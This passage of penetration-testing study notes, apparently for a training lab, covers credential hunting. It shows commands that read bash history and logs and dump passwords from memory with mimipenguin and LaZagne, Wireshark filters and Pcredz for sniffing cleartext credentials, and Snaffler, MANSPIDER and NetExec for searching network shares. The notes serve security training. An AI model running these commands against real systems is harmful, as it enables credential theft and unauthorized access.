769 # Enumerate cronjobs 770 cat /etc/crontab 771 772 # Enumerate bash history 773 tail -n5 /home/*/.bash* 774 775 # Enumerating Log Files 776 for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done 777 778 # Extracting credentials from memory using mimipenguinz 779 sudo python3 mimipenguinz.py 780 781 # Extracting crednentials from memory using laZange.py 782 sudo python2.7 laZange.py all 783 ``` 784 785 ## Credential Hunting in Network Traffic 786 787 There are still applications that do not use [[HTTPS]], this allow attackers the chance to hunt for credentials in cleartext network traffic 788 789 We will be using [[Wireshark]] to identify exposed information and use [[Pcredz]] to quickly scan network traffic for such data 790 791 | Unencrypted Protocol | Encrypted Counterpart | Description | 792 | -------------------- | -------------------------- | --------------------------------------------------------------------------- | 793 | `HTTP` | `HTTPS` | Used for transferring web pages and resources over the internet. | 794 | `FTP` | `FTPS/SFTP` | Used for transferring files between a client and a server. | 795 | `SNMP` | `SNMPv3 (with encryption)` | Used for monitoring and managing network devices like routers and switches. | 796 | `POP3` | `POP3S` | Retrieves emails from a mail server to a local client. | 797 | `IMAP` | `IMAPS` | Accesses and manages email messages directly on the mail server. | 798 | `SMTP` | `SMTPS` | Sends email messages from client to server or between mail servers. | 799 | `LDAP` | `LDAPS` | Queries and modifies directory services like user credentials and roles. | 800 | `RDP` | `RDP (with TLS)` | Provides remote desktop access to Windows systems. | 801 | `DNS (Traditional)` | `DNS over HTTPS (DoH)` | Resolves domain names into IP addresses. | 802 | `SMB` | `SMB over TLS (SMB 3.0)` | Shares files, printers, and other resources over a network. | 803 | `VNC` | `VNC with TLS/SSL` | Allows graphical remote control of another computer. | 804 805 [[Wireshark]] is a well known packet analyzer that have a filter engine that allow searching through live and captured network traffic 806 807 | Wireshark filter | Description | 808 | ------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | 809 | `ip.addr == 56.48.210.13` | Filters packets with a specific IP address | 810 | `tcp.port == 80` | Filters packets by port (HTTP in this case). | 811 | `http` | Filters for HTTP traffic. | 812 | `dns` | Filters DNS traffic, which is useful to monitor domain name resolution. | 813 | `tcp.flags.syn == 1 && tcp.flags.ack == 0` | Filters SYN packets (used in TCP handshakes), useful for detecting scanning or connection attempts. | 814 | `icmp` | Filters ICMP packets (used for Ping), which can be useful for reconnaissance or network issues. | 815 | `http.request.method == "POST"` | Filters for HTTP POST requests. In the case that POST requests are sent over unencrypted HTTP, it may be the case that passwords or other sensitive information is contained within. | 816 | `tcp.stream eq 53` | Filters for a specific TCP stream. Helps track a conversation between two hosts. | 817 | `eth.addr == 00:11:22:33:44:55` | Filters packets from/to a specific MAC address. | 818 | `ip.src == 192.168.24.3 && ip.dst == 56.48.210.3` | Filters traffic between two specific IP addresses. Helps track communication between specific hosts. | 819 820 [[Pcredz]] support extracting the following informations from live traffic or network packet captures 821 - Credit card numbers 822 - POP credentials 823 - SMTP credentials 824 - IMAP credentials 825 - SNMP community strings 826 - FTP credentials 827 - Credentials from HTTP NTLM/Basic headers, as well as HTTP Forms 828 - NTLMv1/v2 hashes from various traffic including DCE-RPC, SMBv1/2, LDAP, MSSQL, and HTTP 829 - Kerberos (AS-REQ Pre-Auth etype 23) hashes 830 831 ```bash 832 # To run Pcredz against a packet capture file 833 ./Pcredz -f <filename>.pcapng -t -v 834 ``` 835 836 ## Credential Hunting in Network Shares 837 838 Once we are in a network share we want to look for these things: 839 - Look for keywords within files such as `passw`, `user`, `token`, `key`, and `secret`. 840 - Search for files with extensions commonly associated with stored credentials, such as `.ini`, `.cfg`, `.env`, `.xlsx`, `.ps1`, and `.bat`. 841 - Watch for files with "interesting" names that include terms like `config`, `user`, `passw`, `cred`, or `initial`. 842 - If you're trying to locate credentials within the `INLANEFREIGHT.LOCAL` domain, it may be helpful to search for files containing the string `INLANEFREIGHT\`. 843 - Keywords should be localized based on the target; if you are attacking a German company, it's more likely they will reference a `"Benutzer"` than a `"User"`. 844 - Pay attention to the shares you are looking at, and be strategic. If you scan ten shares with thousands of files each, it's going to take a signifcant amount of time. Shares used by `IT employees` might be a more valuable target than those used for company photos 845 846 We can use [[MANSPIDER]], [[Snaffler]], [[SnafflePy]] or [[NetExec]] to automate and enhance this credential hunting process 847 848 ### Hunting on Windows 849 850 [[Snaffler]] is a [[C#]] program that run on a **domain-joined** machine and identifies accessible network shares and searches for interesting files 851 `Snaffler.exe -s -u -i <share>` 852 853 [[PowerHuntShares]] is a [[PowerShell]] that would generate a [[HTML]] report upon completion 854 `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\Users\Public` 855 856 ### Hunting on Linux 857 858 [[MANSPIDER]] allows us to scan [[SMB]] shares on [[Linux]]. Best to run [[MANSPIDER]] using the official [[Docker]] container 859 `docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider <ip> -c '<file content to find>' -u '<Username>' -p '<Password>'` 860 861 We can also use [[NetExec]] to find for interesting password 862 `nxc smb <ip> -u <username> -p <password> --spider <share to spider> --content --pattern <word to find>` 863